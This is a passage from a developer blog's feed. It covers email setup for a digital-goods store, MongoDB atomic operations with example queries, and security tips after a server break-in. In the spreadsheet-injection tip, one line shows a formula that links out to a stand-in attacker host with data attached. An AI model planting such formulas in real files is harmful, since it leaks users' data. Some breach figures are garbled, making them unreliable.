downloadPdf(pdfUrl);</span><br><span class="line">  <span class="keyword">const</span> stampedPdfPath = <span class="keyword">await</span> stampedPdfWithBuyerData(&#123; pdfBuffer, email, fileName &#125;);</span><br><span class="line">  <span class="keyword">await</span> sendEmail(&#123; stampedPdfPath, email, fileName &#125;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<h2 id="Sending-emails"><a href="#Sending-emails" class="headerlink" title="Sending emails"></a>Sending emails</h2><p>Sending emails was a little trickier than I thought.</p>
<h3 id="DNS-settings-and-authentication"><a href="#DNS-settings-and-authentication" class="headerlink" title="DNS settings and authentication"></a>DNS settings and authentication</h3><p>First, I was using my domain name, so I have to set up the DNS settings to make it work. However, I notice all my test emails to myself ended up on the junk mail.</p>
<p>Reading more about the topic I realized that I have to authenticate emails using SPF and DKIM, I still don’t know what they are in details, but they allow email providers (Gmail, Yahoo) to verify you are who you say you are. They are setup also using DNS settings given by the emailing service provides.</p>
<p>I set up the setting initially with Sendgrid but was still getting my emails to the junk folder. I moved to Mailgun and got better results. For some reason, <code>hotmail.com</code> would always reject the emails. As I learned unless you pay for a dedicated IP address the email service provider would use a “shared” IP in many accounts. If for some reason the IP gets a bad reputation then your emails will go to spam folder even if you have never sent an email before! I got this fixed by opening a support ticket and after they changed the IP it was working fine with any address.</p>
<h3 id="Email-Templates"><a href="#Email-Templates" class="headerlink" title="Email Templates"></a>Email Templates</h3><p>The final part related to emails is doing a template. I have never done it before. The difference between HTML for email templates and web pages HTML is that on the email you should embed everything into the message itself. Spam filters don’t like external link loading additional resources. So, every CSS should be inline and has to also be responsible.</p>
<p>Well, there you have it: an e-commerce store that collects the payments and sends digital goods to buyers. Let’s close talking about the cost of maintenance.</p>
<h2 id="Cost-of-running-the-e-Commerce-store"><a href="#Cost-of-running-the-e-Commerce-store" class="headerlink" title="Cost of running the e-Commerce store"></a>Cost of running the e-Commerce store</h2><p>This is the breakdown of the monthly costs:</p>
<ul>
<li>Hosting static websites: <strong>$0</strong> (if you use Netlify or Github pages)</li>
<li>Payment Gateway: <strong>$0</strong> (Stripe will only a 2.9% charge if you sell something otherwise $0)</li>
<li>Node.js server: <strong>$0</strong> (Heroku, AWS, Google Cloud and many others have a free plan for developers)</li>
<li>Email Service: <strong>$0</strong> (Mailgun and Sendgrid both have free plans. The former allows you to send 10K emails per month)</li>
</ul>
<p>The total is: <strong>$0</strong> / mo.</p>
<p>Note: Like any website, If you want to use a custom domain as I do, you have to pay for it which is about $1/mo.</p>
]]></content>
    
    <summary type="html">
    
      &lt;script async src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;


&lt;p&gt;Running an online store that sells digital goods is easier than ever. Thanks to generous free plans for developers, you don’t have to spend a dime to run your e-commerce site for a decent amount of users. In this post, I’ll go over how I put together &lt;a href=&quot;https://books.adrianmejia.com/&quot;&gt;books.adrianmejia.com&lt;/a&gt; to sell my eBook.&lt;/p&gt;
    
    </summary>
    
      <category term="Coding" scheme="https://adrianmejia.com/categories/coding/"/>
    
    
      <category term="nodejs" scheme="https://adrianmejia.com/tags/nodejs/"/>
    
  </entry>
  
  <entry>
    <title>How to perform Atomic Operations on MongoDB?</title>
    <link href="https://adrianmejia.com/How-to-perform-Atomic-Operations-on-MongoDB/"/>
    <id>https://adrianmejia.com/How-to-perform-Atomic-Operations-on-MongoDB/</id>
    <published>2019-03-14T10:40:00.000Z</published>
    <updated>2019-03-14T10:40:00.000Z</updated>
    
    <content type="html"><![CDATA[<p>The NoSQL database system has been able to gain momentum in the past few years due to its flexibility and other benefits. Mongo is the leader when it comes to NoSQL. There are plenty of amazing features of MongoDB, and one of them are atomic operations. In the upcoming sections of this article, we will go deep into atomic operations, its use, and how you can apply it to your projects.</p>
<a id="more"></a>

<p>Before moving forward to checking out how we can apply atomic operations in MongoDB, we will be looking at some of the critical points that you need to keep in your mind in regards to MongoDB:</p>
<ul>
<li>MongoDB does not support atomicity for multi-document transactions. However, version 4.0 onwards will support multi-document transactions in several cases.</li>
<li>It is only possible to use the atomicity feature of MongoDB in a single document (not in case of version 4.0). Suppose, there is a document that consists of 35 fields. In that document, there will either be updates in all 35 fields or none.</li>
<li>The atomicity feature is only limited to the document level.</li>
</ul>
<hr>
<p>If you want to jump into the NoSQL database, you should consider <a href="https://www.simplilearn.com/big-data-and-analytics/mongodb-certification-training">MongoDB certification</a>. It will give you a strong foundation and skills to use MongoDB to solve real-world problems. There is a considerable job demand for MongoDB professionals.</p>
<hr>
<h2 id="Introduction-to-Atomic-Operations"><a href="#Introduction-to-Atomic-Operations" class="headerlink" title="Introduction to Atomic Operations"></a>Introduction to Atomic Operations</h2><p>The atomic operations in database terminology is a chained and sophisticated database operations series. In this series, either all aspects of the series will be affected, or nothing will be altered. In atomic operations, there is no such thing as a partial database change.</p>
<p>In atomic operations, there is only a room for complete database updates and changes. In case of any partial updates, the whole database will roll back.</p>
<p>We use atomic operations in a case where the partial update will create more harm in comparison to rolling back. There are some instances in the real world where we need to maintain our database in this manner. In the latter part of this article, we will discuss more in depth about it.</p>
<p>We can explain atomic operations in MongoDB clearly with the use of ACID, a.k.a. Atomicity, Consistency, Isolation, and Durability.</p>
<ul>
<li>Here is a simple rule of <em>atomicity</em> for every single operation, “either all or none.”</li>
<li>The <em>consistency</em> property will play a crucial role in atomicity. It will ensure that each transaction will ultimately lead to a valid state of some kind.</li>
<li>The <em>isolation</em> property of the database will play a part in guaranteeing the systematic process of the concurrent transaction, which means one by one.</li>
<li>Finally, the <em>durability</em> property will come into play. This property ensures the permanency of the database after each database transaction regardless of errors, crashes, and power loss.</li>
</ul>
<h2 id="Modeling-e-Commerce-Products-in-MongoDB"><a href="#Modeling-e-Commerce-Products-in-MongoDB" class="headerlink" title="Modeling e-Commerce Products in MongoDB"></a>Modeling e-Commerce Products in MongoDB</h2><p>We should maintain atomicity in MongoDB by compiling all the related information in a single document, which will update consistently. We can create such type of consistency via embedded documents. The embedded is for ensuring that every single update that takes place in the document is atomic.</p>
<p>Here is how the document looks like for representing item purchase information.</p>
<h3 id="Creating-a-new-product"><a href="#Creating-a-new-product" class="headerlink" title="Creating a new product"></a>Creating a new product</h3><p>Let’s say we have an e-Commerce app and we want to model a product on MongoDB with atomic operations. We can do something like this:</p>
<figure class="highlight js"><figcaption><span>creating a product on MongoDB</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line">use AtomicMongoDB;</span><br><span class="line"><span class="comment">// =&gt; switched to db AtomicMongoDB</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// create an iPhone product with embedded buyers</span></span><br><span class="line">db.AtominMongoDB.save(&#123;</span><br><span class="line">  <span class="string">&quot;_id&quot;</span>: <span class="number">1111</span>,</span><br><span class="line">  <span class="string">&quot;item_name&quot;</span>: <span class="string">&quot;Apple iPhone Xs Max 512GB&quot;</span>,</span><br><span class="line">  <span class="string">&quot;price&quot;</span>: <span class="number">1450</span>,</span><br><span class="line">  <span class="string">&quot;category&quot;</span>: <span class="string">&quot;handset&quot;</span>,</span><br><span class="line">  <span class="string">&quot;warranty_period&quot;</span>: <span class="number">5</span>,</span><br><span class="line">  <span class="string">&quot;city&quot;</span>: <span class="string">&quot;Toronto&quot;</span>,</span><br><span class="line">  <span class="string">&quot;country&quot;</span>: <span class="string">&quot;Canada&quot;</span>,</span><br><span class="line">  <span class="string">&quot;item_total&quot;</span>: <span class="number">10</span>,</span><br><span class="line">  <span class="string">&quot;item_available&quot;</span>: <span class="number">6</span>,</span><br><span class="line">  <span class="string">&quot;item_bought_by&quot;</span>: [&#123;</span><br><span class="line">      <span class="string">&quot;customer&quot;</span>: <span class="string">&quot;Bob&quot;</span>,</span><br><span class="line">      <span class="string">&quot;date&quot;</span>: <span class="string">&quot;6-Feb-2019&quot;</span></span><br><span class="line">    &#125;,</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="string">&quot;customer&quot;</span>: <span class="string">&quot;Alice&quot;</span>,</span><br><span class="line">      <span class="string">&quot;date&quot;</span>: <span class="string">&quot;5-Jan-2019&quot;</span></span><br><span class="line">    &#125;,</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="string">&quot;customer&quot;</span>: <span class="string">&quot;Anita&quot;</span>,</span><br><span class="line">      <span class="string">&quot;date&quot;</span>: <span class="string">&quot;4-Dec-2018&quot;</span></span><br><span class="line">    &#125;,</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="string">&quot;customer&quot;</span>: <span class="string">&quot;Abhishek&quot;</span>,</span><br><span class="line">      <span class="string">&quot;date&quot;</span>: <span class="string">&quot;10-Dec-2018&quot;</span></span><br><span class="line">    &#125;</span><br><span class="line">  ]</span><br><span class="line">&#125;);</span><br><span class="line"><span class="comment">// =&gt; WriteResult(&#123; &quot;nMatched&quot; : 0, &quot;nUpserted&quot; : 1, &quot;nModified&quot; : 0, &quot;_id&quot; : 1111 &#125;)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// Verify the document was saved</span></span><br><span class="line">db.AtominMongoDB.find().pretty();</span><br></pre></td></tr></table></figure>


<p>In the above document, we have created a model, embedded document. We have produced a report from the purchase in the item_bought_by field. This single document will manage everything about the purchase and the stock. In this document, it will see whether the item that the customer orders are in the stock or not. The customer’s order processes through the item_available field.</p>
<h3 id="Decreasing-count-on-a-purchase"><a href="#Decreasing-count-on-a-purchase" class="headerlink" title="Decreasing count on a purchase"></a>Decreasing count on a purchase</h3><p>In the case of availability, we will subtract the <code>item_available</code> field by 1. After we complete that part, we will record the information of the customer, and, i.e., name and the purchase date, in the item_bought_by field. We will again look at another document where we will be using the <code>findAndmodify</code> statement to fulfill this purpose.
By using <code>findAndmodify</code> statement, the document will perform search and update activity simultaneously in the report.</p>
<figure class="highlight js"><figcaption><span>buying a product</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line">db.AtominMongoDB.findAndModify(&#123;</span><br><span class="line">  query: &#123;</span><br><span class="line">    _id: <span class="number">1111</span>,</span><br><span class="line">    item_available: &#123;</span><br><span class="line">      $gt: <span class="number">0</span></span><br><span class="line">    &#125;</span><br><span class="line">  &#125;,</span><br><span class="line">  update: &#123;</span><br><span class="line">    $inc: &#123;</span><br><span class="line">      item_available: <span class="number">-1</span></span><br><span class="line">    &#125;,</span><br><span class="line">    $push: &#123;</span><br><span class="line">      item_bought_by: &#123;</span><br><span class="line">        customer: <span class="string">&quot;Adrian&quot;</span>,</span><br><span class="line">        date: <span class="string">&quot;14-Mar-2019&quot;</span></span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="comment">// =&gt; returns found document</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// Verify new customer was added and stock number decreased</span></span><br><span class="line">db.AtominMongoDB.find().pretty();</span><br><span class="line"><span class="comment">// &#123;</span></span><br><span class="line"><span class="comment">//   &quot;_id&quot;: 1111,</span></span><br><span class="line"><span class="comment">//   &quot;item_name&quot;: &quot;Apple iPhone Xs Max 512GB&quot;,</span></span><br><span class="line"><span class="comment">//   &quot;price&quot;: 1450,</span></span><br><span class="line"><span class="comment">//   &quot;category&quot;: &quot;handset&quot;,</span></span><br><span class="line"><span class="comment">//   &quot;warranty_period&quot;: 5,</span></span><br><span class="line"><span class="comment">//   &quot;city&quot;: &quot;Toronto&quot;,</span></span><br><span class="line"><span class="comment">//   &quot;country&quot;: &quot;Canada&quot;,</span></span><br><span class="line"><span class="comment">//   &quot;item_total&quot;: 10,</span></span><br><span class="line"><span class="comment">//   &quot;item_available&quot;: 5,</span></span><br><span class="line"><span class="comment">//   &quot;item_bought_by&quot;: [&#123;</span></span><br><span class="line"><span class="comment">//       &quot;customer&quot;: &quot;Bob&quot;,</span></span><br><span class="line"><span class="comment">//       &quot;date&quot;: &quot;6-Feb-2019&quot;</span></span><br><span class="line"><span class="comment">//     &#125;,</span></span><br><span class="line"><span class="comment">//     &#123;</span></span><br><span class="line"><span class="comment">//       &quot;customer&quot;: &quot;Alice&quot;,</span></span><br><span class="line"><span class="comment">//       &quot;date&quot;: &quot;5-Jan-2019&quot;</span></span><br><span class="line"><span class="comment">//     &#125;,</span></span><br><span class="line"><span class="comment">//     &#123;</span></span><br><span class="line"><span class="comment">//       &quot;customer&quot;: &quot;Anita&quot;,</span></span><br><span class="line"><span class="comment">//       &quot;date&quot;: &quot;4-Dec-2018&quot;</span></span><br><span class="line"><span class="comment">//     &#125;,</span></span><br><span class="line"><span class="comment">//     &#123;</span></span><br><span class="line"><span class="comment">//       &quot;customer&quot;: &quot;Abhishek&quot;,</span></span><br><span class="line"><span class="comment">//       &quot;date&quot;: &quot;10-Dec-2018&quot;</span></span><br><span class="line"><span class="comment">//     &#125;,</span></span><br><span class="line"><span class="comment">//     &#123;</span></span><br><span class="line"><span class="comment">//       &quot;customer&quot;: &quot;Adrian&quot;,</span></span><br><span class="line"><span class="comment">//       &quot;date&quot;: &quot;14-Mar-2019&quot;</span></span><br><span class="line"><span class="comment">//     &#125;</span></span><br><span class="line"><span class="comment">//   ]</span></span><br><span class="line"><span class="comment">// &#125;</span></span><br></pre></td></tr></table></figure>


<p>In the above document, we searched for the item, setting the ID as 1111. If the system finds such a thing, we activate the subtraction function and deduct 1 in the item_available field. We will also update the field <code>item_bought_by</code> in which we insert the name of the customer along with the purchase date.</p>
<p>Finally, we print the full information with the function, find and pretty method. We can see that the item_available field will come down from 6 to 5 while adding the customer name and the purchase date in the <code>item_bought_by</code> field.</p>
<p>One more example to make you more precise about the use of atomic operations in MongoDB</p>
<h3 id="Modeling-books-on-MongoDB-and-performing-atomic-operations"><a href="#Modeling-books-on-MongoDB-and-performing-atomic-operations" class="headerlink" title="Modeling books on MongoDB and performing atomic operations"></a>Modeling books on MongoDB and performing atomic operations</h3><p>In the above case, we dealt mainly with the product order and the record keeping of customers. In this example, we will be using the function of the simple book store and make it work out in MongoDB via atomic operations.</p>
<p>Let’s suppose in that book store, and we need to maintain the record of books along with the number of copies available for checkout, including crucial details about checkout.</p>
<p>We should sync the number of copies available, and checkout information must for the program to work. We will be embedding the checkout and the <code>available</code> field for ensuring that the two areas will be updated atomically.</p>
<figure class="highlight js"><figcaption><span>create a book on mongo</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// create a new book</span></span><br><span class="line">db.books.save(&#123;</span><br><span class="line">  _id: <span class="number">222222</span>,</span><br><span class="line">  title: <span class="string">&quot;Data Structures &amp; Algorithms in JavaScript&quot;</span>,</span><br><span class="line">  author: [ <span class="string">&quot;Adrian Mejia&quot;</span> ],</span><br><span class="line">  published_date: ISODate(<span class="string">&quot;2019-02-15&quot;</span>),</span><br><span class="line">  pages: <span class="number">216</span>,</span><br><span class="line">  language: <span class="string">&quot;English&quot;</span>,</span><br><span class="line">  publisher_id: <span class="string">&quot;Independent&quot;</span>,</span><br><span class="line">  available: <span class="number">156</span>,</span><br><span class="line">  checkout: [ &#123; <span class="attr">by</span>: <span class="string">&quot;Ivan&quot;</span>, <span class="attr">date</span>: ISODate(<span class="string">&quot;2019-04-14&quot;</span>) &#125; ]</span><br><span class="line">&#125;)</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>Updating the checkout field with new information is essential. We will be using <code>db.collection.updateOne()</code> method for atomically updating available and checkout field.</p>
<figure class="highlight js"><figcaption><span>Purchasing a book</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">db.books.updateOne(&#123;</span><br><span class="line">  _id: <span class="number">222222</span>,</span><br><span class="line">  available: &#123; <span class="attr">$gt</span>: <span class="number">0</span> &#125;</span><br><span class="line">&#125;, &#123;</span><br><span class="line">  $inc: &#123; <span class="attr">available</span>: <span class="number">-1</span> &#125;,</span><br><span class="line">  $push: &#123;</span><br><span class="line">    checkout: &#123;</span><br><span class="line">      by: <span class="string">&quot;Abby&quot;</span>,</span><br><span class="line">      date: <span class="keyword">new</span> <span class="built_in">Date</span>()</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure>

<p>The above command will return the following:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123; <span class="string">&quot;acknowledged&quot;</span> : <span class="literal">true</span>, <span class="string">&quot;matchedCount&quot;</span> : <span class="number">1</span>, <span class="string">&quot;modifiedCount&quot;</span> : <span class="number">1</span> &#125;</span><br></pre></td></tr></table></figure>

<p>The <code>matchedCount</code> field is responsible for comparing the condition for updates. We can see that 1 document fulfilled the requirements due to which the operation updated 1 document (<code>modifiedCount</code>).</p>
<p>There could also be the case where no documents are matched, according to the update condition. In that situation, both the <code>matchedCount</code> and <code>modifiedCount</code> field would be 0. What this means is that you will not be able to purchase the book and continue with a checkout process.</p>
<h2 id="Final-Say"><a href="#Final-Say" class="headerlink" title="Final Say"></a>Final Say</h2><p>Finally, we have finished the topic of how you can use atomic operations via MongoDB. It was not that difficult, was it? Although it is not possible to work out with multi-document tasks, but using atomic operations in MongoDB is simple. With that said, MongoDB starting from version 4.0 will be supporting atomic operations in numerous scenarios.</p>
<p>There are plenty of real-world issues where we can use an atomic operation like in purchase record. It will prevent mutual exclusions; hence, it will stop the corruption of data in many ways.</p>
<p>Take a close look at the source codes in the article and follow it as you see fit. After practicing for a few times, you can naturally apply the atomic operation in the real-world problems where needed.</p>
<p>Do you have any confusions? If yes, feel free to leave a comment below. We will reply to your comment for clearing out your difficulties. In case you want to add more insights, you can put forward your opinion in the comment below.</p>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;The NoSQL database system has been able to gain momentum in the past few years due to its flexibility and other benefits. Mongo is the leader when it comes to NoSQL. There are plenty of amazing features of MongoDB, and one of them are atomic operations. In the upcoming sections of this article, we will go deep into atomic operations, its use, and how you can apply it to your projects.&lt;/p&gt;
    
    </summary>
    
      <category term="Coding" scheme="https://adrianmejia.com/categories/coding/"/>
    
    
      <category term="mongodb" scheme="https://adrianmejia.com/tags/mongodb/"/>
    
  </entry>
  
  <entry>
    <title>45 Security Tips to Avoid Hacking</title>
    <link href="https://adrianmejia.com/I-got-hacked-and-It-changed-my-life-on-security-tips/"/>
    <id>https://adrianmejia.com/I-got-hacked-and-It-changed-my-life-on-security-tips/</id>
    <published>2019-01-24T21:08:53.000Z</published>
    <updated>2019-01-24T21:08:53.000Z</updated>
    
    <content type="html"><![CDATA[<p>I got hacked, and it changed my life’s <strong>perspective</strong> <strong>on security</strong>. Here’s a compilation of something that happened to me and some security tips to minimize this kind of surprises.</p>
<!-- <details>
  <summary>Hack incident details... (click to expand)</summary> -->

<h2 id="Hack-incident"><a href="#Hack-incident" class="headerlink" title="Hack incident"></a>Hack incident</h2><p>I’ve been very chill about security most of my life. I’m 32, and I never got my social media hacked or emails. However, something that changed when I set up a personal server on the cloud and I got an intruder!</p>
<p>This server was collecting data from financial markets (just for fun and to play with some backtracking strategies). One day, I check the database as usual, and It was empty! I was in shock! What happened!? 👀</p>
<p>I reviewed the authentication logs and found out thousands of attempts to log in to my server! 🤯 I saw efforts from everywhere: France, Rusia, Canada, Germany, China, and other countries! Fortunately, none of this got in. However, I still got hacked. How? 🤔</p>
<p>It turns out that when I set up the database, I didn’t bother to change the default configuration. It wouldn’t do that for work but since it was a personal project and the data was public anyway, so I didn’t care too much. I also thought “Meh, nobody is going to find it. I don’t have this IP published anywhere”. However, I was wrong. People/bots did find it and tons of them!</p>
<p>So I learned the following. There are people/organizations which scan every possible IP address. It doesn’t matter if it is listed anywhere or not. Hackers/bots will scan any known port on every IP address and hope people leave defaults open.</p>
<p>Hackers will try to log in into your server and try very common usernames (<code>pi</code>, <code>linode</code>, <code>root</code>, <code>admin</code>, etc.) and default passwords. They also attempt to connect to any possible database on their default ports. I was able to see all the attempts from the logs!</p>
<p>I’m glad they drop my database, so I noticed what happened. Hackers could keep login to my server for years, and I probably wouldn’t see for a long time. Many companies have their servers compromised, and they don’t even know it. When they realized it, it’s already late, and then you see the news about it.</p>
<p>Some examples of data breaches:</p>
<ul>
<li>In 2013, <strong>Yahoo</strong> 3 billion users and <strong>Target</strong> with 110 credit cards.</li>
<li>In 2014, <strong>Marriott</strong> with 500 million guests and <strong>eBay</strong> with 145 million users.</li>
<li>In 2017, <strong>Equifax</strong> with 143 million social security numbers, addresses, and birth dates.</li>
<li>Even banks get hacked like the JP Morgan <strong>Chase</strong> on 2014 with 76 million households and 7 million businesses.</li>
<li>Not even security companies are exempt like <strong>RSA Security</strong> in 2011 with 40 million employee records stolen.</li>
</ul>
<!-- </details> -->

<h2 id="Security-Tips"><a href="#Security-Tips" class="headerlink" title="Security Tips"></a>Security Tips</h2><p>Cybercriminals are real, and everything that you have connected to the Internet is their target. No company or person can 100% prevent getting hacked. However, you can make it way more difficult and reduce the chances to 1 in 1000 years, which is pretty good.</p>
<p>For instance, your password length and unique character alone can tell how long it would take to break it:</p>
<ul>
<li>If your password is <code>Password</code> takes around 0.29 seconds to break.</li>
<li>If your password is <code>P@ssw0rd</code> takes around 14 years.</li>
<li>If your password has 12 characters <code>abcdefghijkl</code> it takes 200 years to generate it.</li>
<li>This password <code>P@ssw0rd123456!!</code> would take more than hundreds of thousand years to decipher.</li>
</ul>
<p>Here are my security tips on how to minimize hacking. It goes from generic usable for mostly everyone to server setup recommendations.</p>
<h3 id="Generic-tips"><a href="#Generic-tips" class="headerlink" title="Generic tips"></a>Generic tips</h3><ul>
<li>Use different passwords for everything. If you use the same password for everything some website gets compromised (e.g., Amazon), then everything that has the same user and password will be at risk. I know it’s a hassle to remember all, but you don’t have to. Use a password manager like Bitwarden, 1Password, LastPass, Dashlane or even Google Chrome built-in password manager.</li>
<li>Use long passwords with special characters. If you are using a password manager, you can ask to auto-generate a secure password.</li>
<li>Use ** 2-factor authentication** whenever is available.</li>
<li>Enable all security features on the services that you use.</li>
<li>Everything that runs arbitrary code on your computer should not be trusted.</li>
<li>Don’t trust defaults blindly verify if there’s a more secure option.</li>
<li>Keep all your devices, operating systems and dependencies up-to-date. Most well-known vulnerabilities are fixed shortly after they are reported.</li>
</ul>
<h3 id="Email-security-tips"><a href="#Email-security-tips" class="headerlink" title="Email security tips"></a>Email security tips</h3><ul>
<li>Have ** 2-factor authentication** on your emails. If someone gets access to your primary email, then they can use <code>forgot password</code> on many sites (Evernote, Bank Accounts) and change the password. I heard of somebody that got their email compromised; in turn, the hacker got access to their Evernote and found some passwords to their cryptocurrency exchanges and got robbed big time. Don’t be that guy. Enable 2FA.</li>
<li>Be aware of phishing emails. No, Bill Gates won’t share his fortune and donate you a million, nor you won any lottery. Don’t trust any email saying that you won money or any price. Also, be aware of fake company emails asking for you to log in somewhere. The site might look very similar, but it’s a trap! They want to capture your password. Check the domain carefully or even better yet don’t click on any link from the email and type your company web address directly as you usually do.</li>
<li>Be aware of malicious attachments. Specially executables (*.exe, *.bat, *.sh, *.zip). See also Microsoft documents part. Everything that can run arbitrary code on your computer should not be trusted.</li>
</ul>
<h3 id="Social-Media"><a href="#Social-Media" class="headerlink" title="Social Media"></a>Social Media</h3><ul>
<li>Enable all the security options they have like 2 Factor authentication, SMS confirmation.</li>
<li>Don’t share passwords with your friends or change them afterwards.</li>
</ul>
<h3 id="Microsoft-Documents"><a href="#Microsoft-Documents" class="headerlink" title="Microsoft Documents"></a>Microsoft Documents</h3><ul>
<li>If you use your documents locally or by trusted peers, you shouldn’t have many problems. However, for auto-generated documents like (*.csv) that you download from emails or compromised websites they can change data or insert malicious links (<code>=HYPERLINK(&quot;[http://attacker.com?some=&#39;data](http://attacker.com/?some=%27data%27)&#39;)</code>) and take you to their websites.</li>
<li>Be aware of macros. They are code that automatically runs when you open the program. In modern versions, Office alerts you when a doc has a macro, and now they are disabled by default.</li>
</ul>
<h3 id="Wifi-security-tips"><a href="#Wifi-security-tips" class="headerlink" title="Wifi security tips"></a>Wifi security tips</h3><ul>
<li>Use a password for your wifi. If you leave it open anybody connects to it can have access to your computers, cell phones, tablets, and smart fridge or cameras.</li>
<li>Use strong encryption for Wifi. Don’t use WEP encryption. Use  WPA or the newer WPA2. WEP can be cracked relatively quickly using some programs.</li>
<li>Use a strong password. It makes it harder to break.</li>
<li>Provide a separate network for guests, so your connected devices are not exposed nor your router.</li>
<li>If you use public wifi, consider using a VPN. Hotspot operators and ISPs can snoop into your traffic, but if you use a VPN, they won’t be able to.</li>
<li>If you are very paranoid or are working with something top secret. Here are some advanced options:<ul>
<li>Have a hidden Wi-fi (SSID) and don’t broadcast it. You will need the name to connect to it.</li>
<li>Restrict access by MAC address list. This list will allow only the devices in there to connect to the network.</li>
<li>Shutdown your network when is not in used. It’s a little extreme, but that’s the ultimate security measure or use wired connections.</li>
</ul>
</li>
</ul>
<h3 id="Developers-security-tips"><a href="#Developers-security-tips" class="headerlink" title="Developers security tips"></a>Developers security tips</h3><ul>
<li>Keep all your operating systems and dependencies up-to-date. Maintainers usually patch their software after vulnerabilities come to light.</li>
<li>Use latest encryption protocols TLS (rather than older SSL versions)<ul>
<li>Use SFTP instead of FTP</li>
<li>Use SSH instead of telnet</li>
<li>Use HTTPS instead of HTTP. You can encrypt for free with <a href="https://letsencrypt.org/">Let’s Encrypt</a>.</li>
</ul>
</li>
<li>Disable direct root login in SSH. You can escalate if needed using <code>sudo</code>.</li>
<li>Disable SSH connection with passwords. Use ssh private key to log in instead.</li>
<li>Use firewalls to block any port that you are not using. Firewalls minimize the surface of attack. For Linux, you can use <code>UFW</code>; another option is <code>iptables</code>.</li>
<li>Use VPN and private networks. If you don’t need to expose a database to the internet, even better. Make it only accessible for your private network or VPN.</li>
<li>Don’t trust the default configuration of programs facing the internet. Change default ports on databases, ssh.<ul>
<li>Instead of logging <code>ssh</code> on port <code>22</code>. Use port <code>2146</code> for instance. I did this and noticed how the attempts of login went from hundreds to zero.</li>
<li>Instead of running MongoDB on port <code>27017</code>, use <code>56073</code></li>
</ul>
</li>
<li>Change default user/passwords. Remove default users (e.g., RaspberryPi comes with the <code>pi</code> user that allow people to login into it, change it!)</li>
<li>Enable authorization on your databases (use passwords). Don’t leave them wide open to the world (and hackers).</li>
<li>Remove default accounts in your databases. E.g., MySQL</li>
<li>Keep backups (nightly?)</li>
<li>Automate monitoring and alert reports. Nobody has time to be glued to logs every time. However, you should set alerts when certain events happen.<ul>
<li>Alerts for failed attempts of login<ul>
<li><code>zcat /var/log/auth.log.*.gz | grep &#39;sshd&#39; | grep &#39;exceeded\|Invalid&#39; | cut -d: -f4- | sort | uniq -c | sort -rn</code></li>
</ul>
</li>
<li>Monitor your database logs for anomalies, such as dropping database commands.</li>
</ul>
</li>
<li>Be aware of package managers. To name a few Node’s NPM, Ruby Gems and Mac’s <a href="http://brew.sh/">brew.sh</a>. If someone gets access to the administrator password of popular packages you might be at risk.<ul>
